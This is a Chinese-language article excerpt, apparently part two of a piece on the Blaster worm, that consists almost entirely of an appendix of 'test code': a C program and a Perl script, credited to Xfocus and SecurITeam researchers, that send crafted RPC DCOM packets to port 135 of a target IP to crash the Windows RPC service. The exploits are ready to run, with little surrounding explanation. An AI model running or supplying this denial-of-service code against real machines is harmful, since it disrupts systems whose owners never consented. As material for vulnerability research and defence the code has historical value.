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冲击波病毒内幕点滴（2）

王朝vc·作者佚名 2006-01-08

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附1

测试代码

#include

unsigned char bindstr[]={

0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,

0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,

0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,

0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,

0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request[]={

0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,

0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,

0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};

void main(int argc,char ** argv)

{

WSADATA WSAData;

int i;

SOCKET sock;

SOCKADDR_IN addr_in;

short port=135;

unsigned char buf1[0x1000];

printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");

printf("Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org\n");

printf("Welcome to http://www.xfocus.net\n");

if(argc<2)

{

printf("useage:%s target\n",argv[0]);

exit(1);

}

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)

{

printf("WSAStartup error.Error:%d\n",WSAGetLastError());

return;

}

addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(port);

addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

{

printf("Socket failed.Error:%d\n",WSAGetLastError());

return;

}

if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)

{

printf("Connect failed.Error:%d",WSAGetLastError());

return;

}

if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)

{

printf("Send failed.Error:%d\n",WSAGetLastError());

return;

}

i=recv(sock,buf1,1024,MSG_PEEK);

if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)

{

printf("Send failed.Error:%d\n",WSAGetLastError());

return;

}

i=recv(sock,buf1,1024,MSG_PEEK);

}

#!/usr/bin/perl -w

# By SecurITeam's Experts

my $bindstr = "\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00\xA0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

my $request = "\x05\x00\x00\x03\x10\x00\x00\x00\x48\x00\x00\x00\x13\x00\x00\x00\x90\x00\x00\x00\x01\x00\x03\x00\x05\x00\x06\x01\x00\x00\x00\x00\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x00\x00\x00\x00\x00\x00\x00\x00";

use Socket;

$proto = getprotobyname('tcp');

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

$IP = $ARGV[0];

$target = inet_aton($IP);

$paddr = sockaddr_in(135, $target);

connect(S, $paddr) || die "connect: $!";

select(S); $|=1;

print $bindstr;

sleep(2);

print $request;

sleep(2);